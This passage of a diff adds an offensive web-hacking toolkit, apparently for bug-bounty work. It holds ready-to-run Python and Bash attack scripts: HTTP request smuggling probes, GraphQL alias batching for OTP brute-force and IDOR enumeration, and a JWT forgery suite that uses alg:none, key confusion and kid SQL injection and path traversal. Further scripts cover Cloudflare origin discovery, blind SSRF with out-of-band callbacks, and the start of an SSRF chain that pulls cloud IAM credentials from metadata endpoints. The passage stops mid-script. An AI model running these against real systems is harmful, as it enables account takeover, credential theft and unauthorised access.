|
+
PORT = 443
|
|
993
|
+
USE_TLS = True
|
|
994
|
+
PATH = "/"
|
|
995
|
+
SESSION_COOKIE = "session=VALUE"
|
|
996
|
+
TIMING_THRESH = 5.0 # seconds; CL.TE causes back-end to hang waiting for body
|
|
997
|
+
# ────────────────────────────────────────────────────────────────────────────
|
|
998
|
+
|
|
999
|
+
def raw_send(data: bytes) -> tuple[float, bytes]:
|
|
1000
|
+
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
|
1001
|
+
sock.settimeout(TIMING_THRESH + 3)
|
|
1002
|
+
if USE_TLS:
|
|
1003
|
+
ctx = ssl.create_default_context()
|
|
1004
|
+
ctx.check_hostname = False
|
|
1005
|
+
ctx.verify_mode = ssl.CERT_NONE
|
|
1006
|
+
sock = ctx.wrap_socket(sock, server_hostname=HOST)
|
|
1007
|
+
sock.connect((HOST, PORT))
|
|
1008
|
+
sock.sendall(data)
|
|
1009
|
+
start = time.perf_counter()
|
|
1010
|
+
resp = b""
|
|
1011
|
+
try:
|
|
1012
|
+
while chunk := sock.recv(4096):
|
|
1013
|
+
resp += chunk
|
|
1014
|
+
except Exception:
|
|
1015
|
+
pass
|
|
1016
|
+
elapsed = time.perf_counter() - start
|
|
1017
|
+
sock.close()
|
|
1018
|
+
return elapsed, resp
|
|
1019
|
+
|
|
1020
|
+
def build_clte_probe() -> bytes:
|
|
1021
|
+
# Front-end sees CL=6 (body = "0\r\n\r\n" → 5 bytes + 1 trailing G → 6)
|
|
1022
|
+
# Back-end sees TE chunked: chunk size 0 = end, then "G" left over as prefix of next req
|
|
1023
|
+
body = b"0\r\n\r\nG"
|
|
1024
|
+
req = (
|
|
1025
|
+
f"POST {PATH} HTTP/1.1\r\n"
|
|
1026
|
+
f"Host: {HOST}\r\n"
|
|
1027
|
+
f"Cookie: {SESSION_COOKIE}\r\n"
|
|
1028
|
+
f"Content-Type: application/x-www-form-urlencoded\r\n"
|
|
1029
|
+
f"Content-Length: {len(body)}\r\n"
|
|
1030
|
+
f"Transfer-Encoding: chunked\r\n"
|
|
1031
|
+
f"\r\n"
|
|
1032
|
+
).encode() + body
|
|
1033
|
+
return req
|
|
1034
|
+
|
|
1035
|
+
def build_tecl_probe() -> bytes:
|
|
1036
|
+
# Front-end sees TE chunked (processes correctly); back-end uses CL.
|
|
1037
|
+
# Body chunk: "0\r\n\r\n" = zero-length chunk (terminates TE stream)
|
|
1038
|
+
# But CL says 6 → back-end waits for 6 bytes → hangs
|
|
1039
|
+
body = b"0\r\n\r\n"
|
|
1040
|
+
req = (
|
|
1041
|
+
f"POST {PATH} HTTP/1.1\r\n"
|
|
1042
|
+
f"Host: {HOST}\r\n"
|
|
1043
|
+
f"Cookie: {SESSION_COOKIE}\r\n"
|
|
1044
|
+
f"Content-Type: application/x-www-form-urlencoded\r\n"
|
|
1045
|
+
f"Content-Length: 6\r\n"
|
|
1046
|
+
f"Transfer-Encoding: chunked\r\n"
|
|
1047
|
+
f"\r\n"
|
|
1048
|
+
).encode() + body
|
|
1049
|
+
return req
|
|
1050
|
+
|
|
1051
|
+
def main():
|
|
1052
|
+
print(f"[*] Testing HTTP Request Smuggling against {HOST}:{PORT}")
|
|
1053
|
+
|
|
1054
|
+
# CL.TE
|
|
1055
|
+
print("\n[*] Probe 1: CL.TE ...")
|
|
1056
|
+
clte = build_clte_probe()
|
|
1057
|
+
elapsed, resp = raw_send(clte)
|
|
1058
|
+
print(f" Response time: {elapsed:.2f}s")
|
|
1059
|
+
if elapsed >= TIMING_THRESH:
|
|
1060
|
+
print(" [!!!] TIMING ANOMALY — back-end may be using TE (CL.TE CANDIDATE)")
|
|
1061
|
+
else:
|
|
1062
|
+
print(" [-] CL.TE: No timing signal")
|
|
1063
|
+
|
|
1064
|
+
# TE.CL
|
|
1065
|
+
print("\n[*] Probe 2: TE.CL ...")
|
|
1066
|
+
tecl = build_tecl_probe()
|
|
1067
|
+
elapsed2, resp2 = raw_send(tecl)
|
|
1068
|
+
print(f" Response time: {elapsed2:.2f}s")
|
|
1069
|
+
if elapsed2 >= TIMING_THRESH:
|
|
1070
|
+
print(" [!!!] TIMING ANOMALY — back-end may be using CL (TE.CL CANDIDATE)")
|
|
1071
|
+
else:
|
|
1072
|
+
print(" [-] TE.CL: No timing signal")
|
|
1073
|
+
|
|
1074
|
+
print("\n[!] If any timing anomaly: use smuggler.py for deeper confirmation.")
|
|
1075
|
+
print(" Next step: smuggler.py -u https://target.com --log-level DEBUG")
|
|
1076
|
+
|
|
1077
|
+
main()
|
|
1078
|
+
```
|
|
1079
|
+
|
|
1080
|
+
**18. GraphQL Batching — Rate-Limit Bypass & IDOR via Aliases:**
|
|
1081
|
+
```python
|
|
1082
|
+
# tools/graphql_batch_attack.py
|
|
1083
|
+
# Two attacks in one:
|
|
1084
|
+
# A) Alias batching: send N mutations in ONE HTTP request → bypasses per-request rate limits.
|
|
1085
|
+
# Use for: OTP brute-force, password spray, coupon bulk redemption.
|
|
1086
|
+
# B) IDOR via aliases: query N object IDs in one request → enumerate objects across users.
|
|
1087
|
+
|
|
1088
|
+
import requests, json
|
|
1089
|
+
|
|
1090
|
+
# ── CONFIG ──────────────────────────────────────────────────────────────────
|
|
1091
|
+
GQL_URL = "https://target.com/graphql"
|
|
1092
|
+
SESSION_COOKIE = "session=YOUR_COOKIE"
|
|
1093
|
+
# ────────────────────────────────────────────────────────────────────────────
|
|
1094
|
+
|
|
1095
|
+
HEADERS = {
|
|
1096
|
+
"Content-Type": "application/json",
|
|
1097
|
+
"Cookie": SESSION_COOKIE,
|
|
1098
|
+
}
|
|
1099
|
+
|
|
1100
|
+
# ── ATTACK A: OTP Brute-Force via Alias Batching ────────────────────────────
|
|
1101
|
+
def otp_bruteforce(otp_mutation: str, otp_range=range(0, 200)):
|
|
1102
|
+
"""
|
|
1103
|
+
otp_mutation example:
|
|
1104
|
+
'verifyOtp(code: "{otp}", userId: "me") { success token }'
|
|
1105
|
+
Replace {otp} placeholder — we'll format it for each guess.
|
|
1106
|
+
"""
|
|
1107
|
+
aliases = "\n".join(
|
|
1108
|
+
f' try_{otp}: {otp_mutation.format(otp=str(otp).zfill(6))}'
|
|
1109
|
+
for otp in otp_range
|
|
1110
|
+
)
|
|
1111
|
+
query = f"mutation BatchOTP {{\n{aliases}\n}}"
|
|
1112
|
+
r = requests.post(GQL_URL, headers=HEADERS,
|
|
1113
|
+
json={"query": query}, timeout=30, verify=False)
|
|
1114
|
+
data = r.json().get("data", {})
|
|
1115
|
+
for key, val in data.items():
|
|
1116
|
+
if val and val.get("success"):
|
|
1117
|
+
otp_val = key.replace("try_", "")
|
|
1118
|
+
print(f" [!!!] OTP FOUND: {otp_val} → {val}")
|
|
1119
|
+
return otp_val
|
|
1120
|
+
print(f" [-] No match in range {list(otp_range)[0]}–{list(otp_range)[-1]}")
|
|
1121
|
+
return None
|
|
1122
|
+
|
|
1123
|
+
# ── ATTACK B: IDOR via Alias Batching (Enumerate Object IDs) ────────────────
|
|
1124
|
+
def idor_enum(object_query: str, id_range=range(1000, 1020)):
|
|
1125
|
+
"""
|
|
1126
|
+
object_query example:
|
|
1127
|
+
'user(id: {id}) { id email role createdAt }'
|
|
1128
|
+
Replace {id} placeholder.
|
|
1129
|
+
"""
|
|
1130
|
+
aliases = "\n".join(
|
|
1131
|
+
f' obj_{oid}: {object_query.format(id=oid)}'
|
|
1132
|
+
for oid in id_range
|
|
1133
|
+
)
|
|
1134
|
+
query = f"query BatchIDOR {{\n{aliases}\n}}"
|
|
1135
|
+
r = requests.post(GQL_URL, headers=HEADERS,
|
|
1136
|
+
json={"query": query}, timeout=30, verify=False)
|
|
1137
|
+
data = r.json().get("data", {})
|
|
1138
|
+
found = []
|
|
1139
|
+
for key, val in data.items():
|
|
1140
|
+
if val is not None:
|
|
1141
|
+
oid = key.replace("obj_", "")
|
|
1142
|
+
print(f" [+] id={oid}: {json.dumps(val)[:150]}")
|
|
1143
|
+
found.append({"id": oid, "data": val})
|
|
1144
|
+
print(f"\n[*] {len(found)}/{len(list(id_range))} objects returned data")
|
|
1145
|
+
return found
|
|
1146
|
+
|
|
1147
|
+
if __name__ == "__main__":
|
|
1148
|
+
print("=== ATTACK A: OTP Brute-Force (first 200 codes) ===")
|
|
1149
|
+
# Adapt mutation to your schema:
|
|
1150
|
+
otp_bruteforce(
|
|
1151
|
+
otp_mutation='verifyOtp(code: "{otp}", phone: "+1234567890") {{ success token }}',
|
|
1152
|
+
otp_range=range(0, 200)
|
|
1153
|
+
)
|
|
1154
|
+
|
|
1155
|
+
print("\n=== ATTACK B: IDOR via Alias Batching ===")
|
|
1156
|
+
idor_enum(
|
|
1157
|
+
object_query='user(id: {id}) {{ id email role plan }}',
|
|
1158
|
+
id_range=range(1000, 1020)
|
|
1159
|
+
)
|
|
1160
|
+
```
|
|
1161
|
+
|
|
1162
|
+
**19. JWT Complete Attack Suite:**
|
|
1163
|
+
```python
|
|
1164
|
+
# tools/jwt_attack_suite.py
|
|
1165
|
+
# Covers all major JWT attacks in sequence:
|
|
1166
|
+
# A) alg:none — strip signature entirely
|
|
1167
|
+
# B) RS256→HS256 algorithm confusion (public key as HMAC secret)
|
|
1168
|
+
# C) kid SQL injection / path traversal
|
|
1169
|
+
# D) Weak secret brute-force (offline wordlist)
|
|
1170
|
+
# E) JWKS substitution (inject our own key via jku/x5u)
|
|
1171
|
+
#
|
|
1172
|
+
# Requires: pip install pyjwt cryptography requests --break-system-packages
|
|
1173
|
+
|
|
1174
|
+
import base64, json, hmac, hashlib, requests
|
|
1175
|
+
from pathlib import Path
|
|
1176
|
+
|
|
1177
|
+
# ── CONFIG ──────────────────────────────────────────────────────────────────
|
|
1178
|
+
TARGET_URL = "https://target.com/api/admin"
|
|
1179
|
+
ORIGINAL_TOKEN = "eyJ..." # Your valid JWT
|
|
1180
|
+
JWKS_URL = "https://target.com/.well-known/jwks.json"
|
|
1181
|
+
WORDLIST = "/usr/share/seclists/Passwords/Common-Credentials/10k-most-common.txt"
|
|
1182
|
+
# ────────────────────────────────────────────────────────────────────────────
|
|
1183
|
+
|
|
1184
|
+
def b64url_decode(s: str) -> bytes:
|
|
1185
|
+
s += "=" * (-len(s) % 4)
|
|
1186
|
+
return base64.urlsafe_b64decode(s)
|
|
1187
|
+
|
|
1188
|
+
def b64url_encode(b: bytes) -> str:
|
|
1189
|
+
return base64.urlsafe_b64encode(b).rstrip(b"=").decode()
|
|
1190
|
+
|
|
1191
|
+
def parse_jwt(token: str) -> tuple[dict, dict, str]:
|
|
1192
|
+
parts = token.split(".")
|
|
1193
|
+
header = json.loads(b64url_decode(parts[0]))
|
|
1194
|
+
payload = json.loads(b64url_decode(parts[1]))
|
|
1195
|
+
return header, payload, parts[2]
|
|
1196
|
+
|
|
1197
|
+
def test_token(token: str, label: str):
|
|
1198
|
+
r = requests.get(TARGET_URL,
|
|
1199
|
+
headers={"Authorization": f"Bearer {token}"},
|
|
1200
|
+
verify=False, timeout=6)
|
|
1201
|
+
status = "[!!!] SUCCESS" if r.status_code not in (401, 403) else "[-] Rejected"
|
|
1202
|
+
print(f" {status} [{label}] → {r.status_code} {len(r.text)}b")
|
|
1203
|
+
if r.status_code not in (401, 403):
|
|
1204
|
+
print(f" Body: {r.text[:200]}")
|
|
1205
|
+
|
|
1206
|
+
def attack_none(header: dict, payload: dict) -> str:
|
|
1207
|
+
h = {**header, "alg": "none"}
|
|
1208
|
+
t = f"{b64url_encode(json.dumps(h).encode())}.{b64url_encode(json.dumps(payload).encode())}."
|
|
1209
|
+
return t
|
|
1210
|
+
|
|
1211
|
+
def attack_hs256_pubkey(header: dict, payload: dict, pubkey: str) -> str:
|
|
1212
|
+
import jwt as pyjwt
|
|
1213
|
+
h = {**header, "alg": "HS256"}
|
|
1214
|
+
# Remove 'alg' from additional_headers to avoid conflict
|
|
1215
|
+
return pyjwt.encode(payload, pubkey, algorithm="HS256",
|
|
1216
|
+
headers={"kid": h.get("kid")})
|
|
1217
|
+
|
|
1218
|
+
def attack_kid_sqli(header: dict, payload: dict) -> list[str]:
|
|
1219
|
+
# kid injection: make DB return a known secret (e.g. empty string via NULL)
|
|
1220
|
+
sqli_kids = [
|
|
1221
|
+
"' UNION SELECT 'secret'-- -",
|
|
1222
|
+
"../../dev/null", # Path traversal → empty file → empty secret
|
|
1223
|
+
"/dev/null",
|
|
1224
|
+
]
|
|
1225
|
+
tokens = []
|
|
1226
|
+
import jwt as pyjwt
|
|
1227
|
+
for kid in sqli_kids:
|
|
1228
|
+
h = {**header, "alg": "HS256", "kid": kid}
|
|
1229
|
+
# Sign with empty secret (path traversal to /dev/null gives b"")
|
|
1230
|
+
sig = b64url_encode(
|
|
1231
|
+
hmac.new(b"", f"{b64url_encode(json.dumps(h).encode())}.{b64url_encode(json.dumps(payload).encode())}".encode(), hashlib.sha256).digest()
|
|
1232
|
+
)
|
|
1233
|
+
t = f"{b64url_encode(json.dumps(h).encode())}.{b64url_encode(json.dumps(payload).encode())}.{sig}"
|
|
1234
|
+
tokens.append((kid, t))
|
|
1235
|
+
return tokens
|
|
1236
|
+
|
|
1237
|
+
def attack_brute_secret(token: str) -> str | None:
|
|
1238
|
+
parts = token.split(".")
|
|
1239
|
+
signing_input = f"{parts[0]}.{parts[1]}".encode()
|
|
1240
|
+
sig = b64url_decode(parts[2])
|
|
1241
|
+
wl = Path(WORDLIST)
|
|
1242
|
+
if not wl.exists():
|
|
1243
|
+
print(f" [!] Wordlist not found: {WORDLIST}")
|
|
1244
|
+
return None
|
|
1245
|
+
for line in wl.read_text(errors="ignore").splitlines():
|
|
1246
|
+
secret = line.strip().encode()
|
|
1247
|
+
expected = hmac.new(secret, signing_input, hashlib.sha256).digest()
|
|
1248
|
+
if hmac.compare_digest(expected, sig):
|
|
1249
|
+
print(f" [!!!] WEAK SECRET FOUND: {line.strip()!r}")
|
|
1250
|
+
return line.strip()
|
|
1251
|
+
return None
|
|
1252
|
+
|
|
1253
|
+
def main():
|
|
1254
|
+
header, payload, sig = parse_jwt(ORIGINAL_TOKEN)
|
|
1255
|
+
print(f"[*] Original JWT header: {header}")
|
|
1256
|
+
print(f"[*] Original payload: {payload}")
|
|
1257
|
+
|
|
1258
|
+
# Elevate payload claims
|
|
1259
|
+
evil_payload = {**payload, "role": "admin", "isAdmin": True, "sub": "admin"}
|
|
1260
|
+
|
|
1261
|
+
print("\n[A] alg:none attack")
|
|
1262
|
+
test_token(attack_none(header, evil_payload), "alg:none")
|
|
1263
|
+
|
|
1264
|
+
print("\n[B] RS256→HS256 (public key as HMAC secret)")
|
|
1265
|
+
try:
|
|
1266
|
+
pub = requests.get(JWKS_URL, verify=False, timeout=5).text
|
|
1267
|
+
test_token(attack_hs256_pubkey(header, evil_payload, pub), "RS256→HS256")
|
|
1268
|
+
except Exception as e:
|
|
1269
|
+
print(f" [!] Could not fetch JWKS: {e}")
|
|
1270
|
+
|
|
1271
|
+
print("\n[C] kid injection (SQL / path traversal)")
|
|
1272
|
+
for kid_val, token in attack_kid_sqli(header, evil_payload):
|
|
1273
|
+
test_token(token, f"kid={kid_val!r}")
|
|
1274
|
+
|
|
1275
|
+
print(f"\n[D] Weak secret brute-force ({WORDLIST})")
|
|
1276
|
+
secret = attack_brute_secret(ORIGINAL_TOKEN)
|
|
1277
|
+
if secret:
|
|
1278
|
+
import jwt as pyjwt
|
|
1279
|
+
forged = pyjwt.encode(evil_payload, secret, algorithm=header.get("alg", "HS256"))
|
|
1280
|
+
test_token(forged, f"brute secret={secret!r}")
|
|
1281
|
+
|
|
1282
|
+
main()
|
|
1283
|
+
```
|
|
1284
|
+
|
|
1285
|
+
---
|
|
1286
|
+
|
|
1287
|
+
## Bash One-Liners (Extended)
|
|
1288
|
+
|
|
1289
|
+
**CloudFlare Origin IP Discovery (Cert Transparency + Historical DNS):**
|
|
1290
|
+
```bash
|
|
1291
|
+
# Find real origin IP behind Cloudflare using cert transparency and old DNS records
|
|
1292
|
+
domain="target.com"
|
|
1293
|
+
# 1. Cert transparency — find direct IPs/subdomains that may bypass CF
|
|
1294
|
+
curl -s "https://crt.sh/?q=%25.${domain}&output=json" | jq -r '.[].name_value' \
|
|
1295
|
+
| sort -u | grep -v '\*' > output/ct_subdomains.txt
|
|
1296
|
+
|
|
1297
|
+
# 2. SecurityTrails historical DNS (needs API key or use web_search)
|
|
1298
|
+
curl -s "https://securitytrails.com/domain/${domain}/history/a" \
|
|
1299
|
+
| grep -oE '([0-9]{1,3}\.){3}[0-9]{1,3}' | sort -u > output/historical_ips.txt
|
|
1300
|
+
|
|
1301
|
+
# 3. Test if any IP responds directly to the domain
|
|
1302
|
+
while read ip; do
|
|
1303
|
+
result=$(curl -sk -m 5 -o /dev/null -w "%{http_code}" \
|
|
1304
|
+
-H "Host: ${domain}" "https://${ip}/")
|
|
1305
|
+
[ "$result" != "000" ] && echo "[+] Origin candidate: $ip → $result"
|
|
1306
|
+
done < output/historical_ips.txt
|
|
1307
|
+
```
|
|
1308
|
+
|
|
1309
|
+
**Prototype Pollution in JS Bundles — Static Scan:**
|
|
1310
|
+
```bash
|
|
1311
|
+
# Scan all downloaded JS files for prototype pollution sinks
|
|
1312
|
+
# Download first: cat output/urls_all_deduped.txt | grep "\.js$" | parallel -j 20 "curl -sk {} -o output/js_files/{#}.js"
|
|
1313
|
+
find output/js_files/ -name "*.js" | xargs -P 10 -I{} sh -c '
|
|
1314
|
+
rg -l "__proto__|constructor\[.prototype.\]|Object\.assign\(.*prototype|merge\(.*\{" {} && echo " → {}"
|
|
1315
|
+
' 2>/dev/null | tee output/proto_pollution_candidates.txt
|
|
1316
|
+
|
|
1317
|
+
# Then js-beautify + eslint on flagged files:
|
|
1318
|
+
# js-beautify output/js_files/flagged.js | eslint --stdin --rule '{"no-proto":["error"]}'
|
|
1319
|
+
```
|
|
1320
|
+
|
|
1321
|
+
**Mass Endpoint Auth Differential (Find Broken Access Control):**
|
|
1322
|
+
```bash
|
|
1323
|
+
# Compare responses between authenticated and unauthenticated requests
|
|
1324
|
+
# If both return 200 with same body length → likely public (false positive)
|
|
1325
|
+
# If auth=200 and unauth=200 with SAME content → broken access control
|
|
1326
|
+
AUTH_COOKIE="session=YOUR_SESSION"
|
|
1327
|
+
cat output/urls_all_deduped.txt | grep -v "\.js\|\.css\|\.png\|\.jpg" | head -200 | \
|
|
1328
|
+
while read url; do
|
|
1329
|
+
auth_len=$(curl -sk -m 5 -o /dev/null -w "%{size_download}" -H "Cookie: $AUTH_COOKIE" "$url")
|
|
1330
|
+
unauth_len=$(curl -sk -m 5 -o /dev/null -w "%{size_download}" "$url")
|
|
1331
|
+
auth_status=$(curl -sk -m 5 -o /dev/null -w "%{http_code}" -H "Cookie: $AUTH_COOKIE" "$url")
|
|
1332
|
+
unauth_status=$(curl -sk -m 5 -o /dev/null -w "%{http_code}" "$url")
|
|
1333
|
+
|
|
1334
|
+
# Flag: auth=200, unauth=200, similar body size (within 50 bytes)
|
|
1335
|
+
if [ "$auth_status" = "200" ] && [ "$unauth_status" = "200" ]; then
|
|
1336
|
+
diff=$(( auth_len - unauth_len ))
|
|
1337
|
+
diff=${diff#-} # absolute value
|
|
1338
|
+
if [ "$diff" -lt 50 ]; then
|
|
1339
|
+
echo "[!!!] BROKEN AC: $url (auth=${auth_len}b unauth=${unauth_len}b diff=${diff}b)"
|
|
1340
|
+
fi
|
|
1341
|
+
fi
|
|
1342
|
+
# Flag: unauth=200 but endpoint looks private (/admin /api/user /internal)
|
|
1343
|
+
echo "$url" | grep -qiE "admin|internal|user|account|profile|manage|setting|dashboard" && \
|
|
1344
|
+
[ "$unauth_status" = "200" ] && \
|
|
1345
|
+
echo "[?] PRIVATE ENDPOINT UNPROTECTED: $url (unauth=$unauth_status len=${unauth_len}b)"
|
|
1346
|
+
done | tee output/broken_access_candidates.txt
|
|
1347
|
+
|
|
1348
|
+
---
|
|
1349
|
+
|
|
1350
|
+
## SSRF Scripts
|
|
1351
|
+
|
|
1352
|
+
**20. Blind SSRF — Interactsh OOB Full Chain:**
|
|
1353
|
+
```python
|
|
1354
|
+
# tools/ssrf_blind.py
|
|
1355
|
+
# Comprehensive blind SSRF prober using interactsh for OOB callbacks.
|
|
1356
|
+
# Tests: URL params, headers, JSON body fields, file upload metadata, redirect chains.
|
|
1357
|
+
#
|
|
1358
|
+
# HOW IT WORKS:
|
|
1359
|
+
# 1. Start interactsh-client in background (or use existing session)
|
|
1360
|
+
# 2. Inject OOB URL into every parameter and header variant
|
|
1361
|
+
# 3. Monitor interactsh for DNS/HTTP callbacks — each callback = confirmed SSRF
|
|
1362
|
+
# 4. Maps which injection point triggered the callback
|
|
1363
|
+
#
|
|
1364
|
+
# SETUP: Run FIRST in separate terminal:
|
|
1365
|
+
# interactsh-client -server oast.pro -o output/oob_callbacks.txt
|
|
1366
|
+
# Note the generated subdomain (e.g. abc123.oast.pro)
|
|
1367
|
+
#
|
|
1368
|
+
# Requires: pip install httpx --break-system-packages
|
|
1369
|
+
|
|
1370
|
+
import asyncio, httpx, json, time
|
|
1371
|
+
from pathlib import Path
|
|
1372
|
+
|
|
1373
|
+
# ── CONFIG ──────────────────────────────────────────────────────────────────
|
|
1374
|
+
TARGET_BASE = "https://target.com"
|
|
1375
|
+
SESSION_COOKIE = "session=YOUR_COOKIE"
|
|
1376
|
+
OOB_HOST = "abc123.oast.pro" # From interactsh-client output
|
|
1377
|
+
OUTPUT_FILE = "output/ssrf_probes.txt"
|
|
1378
|
+
|
|
1379
|
+
# Endpoints to test — found from JS recon / manual mapping
|
|
1380
|
+
ENDPOINTS = [
|
|
1381
|
+
# (method, path, param_type, param_name)
|
|
1382
|
+
("GET", "/api/fetch?url=", "url_param", "url"),
|
|
1383
|
+
("GET", "/api/preview?link=", "url_param", "link"),
|
|
1384
|
+
("POST", "/api/webhook", "json_body", "callback_url"),
|
|
1385
|
+
("POST", "/api/export", "json_body", "destination"),
|
|
1386
|
+
("GET", "/api/image?src=", "url_param", "src"),
|
|
1387
|
+
("POST", "/api/import", "json_body", "remote_url"),
|
|
1388
|
+
]
|
|
1389
|
+
# ────────────────────────────────────────────────────────────────────────────
|
|
1390
|
+
|
|
1391
|
+
HEADERS_BASE = {
|
|
1392
|
+
"Cookie": SESSION_COOKIE,
|
|
1393
|
+
"Content-Type": "application/json",
|
|
1394
|
+
}
|
|
1395
|
+
|
|
1396
|
+
# OOB URL variants — different protocols and encodings
|
|
1397
|
+
def oob_variants(tag: str) -> list[str]:
|
|
1398
|
+
h = f"{tag}.{OOB_HOST}"
|
|
1399
|
+
return [
|
|
1400
|
+
f"http://{h}/",
|
|
1401
|
+
f"https://{h}/",
|
|
1402
|
+
f"http://{h}:80/",
|
|
1403
|
+
f"http://{h}:8080/",
|
|
1404
|
+
# Protocol bypass
|
|
1405
|
+
f"//\x09{h}/",
|
|
1406
|
+
f"http://{h}@127.0.0.1/",
|
|
1407
|
+
# Cloud metadata via SSRF chain
|
|
1408
|
+
f"http://169.254.169.254/latest/meta-data/?x={h}",
|
|
1409
|
+
]
|
|
1410
|
+
|
|
1411
|
+
# Header injection — these headers often trigger server-side requests
|
|
1412
|
+
SSRF_HEADERS = [
|
|
1413
|
+
"X-Forwarded-For", "X-Real-IP", "X-Originating-IP",
|
|
1414
|
+
"X-Remote-IP", "X-Remote-Addr", "X-Cluster-Client-IP",
|
|
1415
|
+
"X-Forwarded-Host", "X-Host", "X-Custom-IP-Authorization",
|
|
1416
|
+
"Referer", "Origin", "True-Client-IP",
|
|
1417
|
+
"CF-Connecting-IP", "Fastly-Client-IP",
|
|
1418
|
+
]
|
|
1419
|
+
|
|
1420
|
+
async def probe(client: httpx.AsyncClient, tag: str, method: str,
|
|
1421
|
+
url: str, param_type: str, oob_url: str) -> dict:
|
|
1422
|
+
try:
|
|
1423
|
+
if param_type == "url_param":
|
|
1424
|
+
r = await client.request(method, url + oob_url,
|
|
1425
|
+
headers=HEADERS_BASE, timeout=8.0)
|
|
1426
|
+
elif param_type == "json_body":
|
|
1427
|
+
body = json.dumps({"url": oob_url, "callback_url": oob_url,
|
|
1428
|
+
"webhook": oob_url, "destination": oob_url})
|
|
1429
|
+
r = await client.request(method, url, content=body,
|
|
1430
|
+
headers=HEADERS_BASE, timeout=8.0)
|
|
1431
|
+
else:
|
|
1432
|
+
r = await client.request(method, url, headers=HEADERS_BASE, timeout=8.0)
|
|
1433
|
+
return {"tag": tag, "url": url, "status": r.status_code, "oob": oob_url}
|
|
1434
|
+
except Exception as e:
|
|
1435
|
+
return {"tag": tag, "url": url, "status": -1, "error": str(e)[:80]}
|
|
1436
|
+
|
|
1437
|
+
async def probe_headers(client: httpx.AsyncClient, tag: str) -> list[dict]:
|
|
1438
|
+
results = []
|
|
1439
|
+
test_url = f"{TARGET_BASE}/"
|
|
1440
|
+
for header in SSRF_HEADERS:
|
|
1441
|
+
oob_url = f"http://{tag}-hdr-{header.lower().replace('-','')}.{OOB_HOST}/"
|
|
1442
|
+
headers = {**HEADERS_BASE, header: oob_url}
|
|
1443
|
+
try:
|
|
1444
|
+
r = await client.get(test_url, headers=headers, timeout=6.0)
|
|
1445
|
+
results.append({"tag": tag, "vector": f"header:{header}",
|
|
1446
|
+
"status": r.status_code})
|
|
1447
|
+
except Exception:
|
|
1448
|
+
pass
|
|
1449
|
+
return results
|
|
1450
|
+
|
|
1451
|
+
async def main():
|
|
1452
|
+
print(f"[*] Blind SSRF probe → callbacks will appear at *.{OOB_HOST}")
|
|
1453
|
+
print(f"[*] Monitor: tail -f {OUTPUT_FILE} & watch interactsh output\n")
|
|
1454
|
+
|
|
1455
|
+
all_results = []
|
|
1456
|
+
async with httpx.AsyncClient(verify=False, follow_redirects=False) as client:
|
|
1457
|
+
# 1. Endpoint parameter probes
|
|
1458
|
+
tasks = []
|
|
1459
|
+
for i, (method, path, ptype, pname) in enumerate(ENDPOINTS):
|
|
1460
|
+
url = TARGET_BASE + path
|
|
1461
|
+
for j, oob_url in enumerate(oob_variants(f"ep{i}v{j}")):
|
|
1462
|
+
tag = f"ep{i}-{pname}-v{j}"
|
|
1463
|
+
tasks.append(probe(client, tag, method, url, ptype, oob_url))
|
|
1464
|
+
|
|
1465
|
+
print(f"[*] Firing {len(tasks)} endpoint probes...")
|
|
1466
|
+
ep_results = await asyncio.gather(*tasks, return_exceptions=True)
|
|
1467
|
+
all_results.extend([r for r in ep_results if isinstance(r, dict)])
|
|
1468
|
+
|
|
1469
|
+
# 2. Header injection probes
|
|
1470
|
+
print(f"[*] Firing {len(SSRF_HEADERS)} header injection probes...")
|
|
1471
|
+
hdr_tag = f"hdr0"
|
|
1472
|
+
hdr_results = await probe_headers(client, hdr_tag)
|
|
1473
|
+
all_results.extend(hdr_results)
|
|
1474
|
+
|
|
1475
|
+
# Save all probes
|
|
1476
|
+
lines = [f"{r}\n" for r in all_results]
|
|
1477
|
+
Path(OUTPUT_FILE).write_text("".join(lines))
|
|
1478
|
+
print(f"\n[*] {len(all_results)} probes sent → {OUTPUT_FILE}")
|
|
1479
|
+
print(f"[!!!] NOW CHECK interactsh output for DNS/HTTP callbacks!")
|
|
1480
|
+
print(f" Each callback subdomain maps to a specific injection point.")
|
|
1481
|
+
print(f" Callback from 'ep0v0.{OOB_HOST}' = ENDPOINTS[0] + oob_variants[0]")
|
|
1482
|
+
|
|
1483
|
+
asyncio.run(main())
|
|
1484
|
+
```
|
|
1485
|
+
|
|
1486
|
+
**21. SSRF → AWS/GCP/Azure Credential Chain:**
|
|
1487
|
+
```python
|
|
1488
|
+
# tools/ssrf_cloud_chain.py
|
|
1489
|
+
# Full SSRF exploitation chain: confirm SSRF → extract cloud credentials.
|
|
1490
|
+
# Run AFTER confirming SSRF exists at a specific endpoint.
|
|
1491
|
+
#
|
|
1492
|
+
# HOW IT WORKS:
|
|
1493
|
+
# 1. Probe known cloud metadata endpoints via the confirmed SSRF
|
|
1494
|
+
# 2. Extract IAM role name → fetch temporary credentials
|
|
1495
|
+
# 3. Save credentials for further testing (S3 access, API calls)
|
|
1496
|
+
#
|
|
1497
|
+
# Usage: Set SSRF_URL to the confirmed vulnerable endpoint + parameter.
|
|
1498
|
+
# The {TARGET} placeholder will be replaced with each metadata URL.
|
|
1499
|
+
|
|
1500
|
+
import requests, json, re
|
|
1501
|
+
|
|
1502
|
+
# ── CONFIG ──────────────────────────────────────────────────────────────────
|
|
1503
|
+
# Example: "https://target.com/api/fetch?url={TARGET}"
|
|
1504
|
+
# The {TARGET} placeholder is replaced with each metadata URL
|
|
1505
|
+
SSRF_URL = "https://target.com/api/fetch?url={TARGET}"
|
|
1506
|
+
SESSION_COOKIE = "session=YOUR_COOKIE"
|
|
1507
|
+
OUTPUT_FILE = "output/ssrf_credentials.json"
|
|
1508
|
+
# ────────────────────────────────────────────────────────────────────────────
|
|
1509
|
+
|
|
1510
|
+
HEADERS = {"Cookie": SESSION_COOKIE}
|
|
1511
|
+
|
|
1512
|
+
def ssrf_fetch(path: str) -> str:
|
|
1513
|
+
"""Fetch a URL through the SSRF endpoint."""
|
|
1514
|
+
url = SSRF_URL.format(TARGET=requests.utils.quote(path, safe=":/?&="))
|
|
1515
|
+
try:
|
|
1516
|
+
r = requests.get(url, headers=HEADERS, timeout=8, verify=False)
|
|
1517
|
+
return r.text
|
|
1518
|
+
except Exception as e:
|
|
1519
|
+
return f"ERROR: {e}"
|
|
1520
|
+
|
|
1521
|
+
# ── AWS Metadata ─────────────────────────────────────────────────────────────
|
|
1522
|
+
def chain_aws() -> dict | None:
|
|
1523
|
+
print("\n[AWS] Testing IMDSv1 (no token required)...")
|
|
1524
|
+
base = "http://169.254.169.254"
|
|
1525
|
+
|
|
1526
|
+
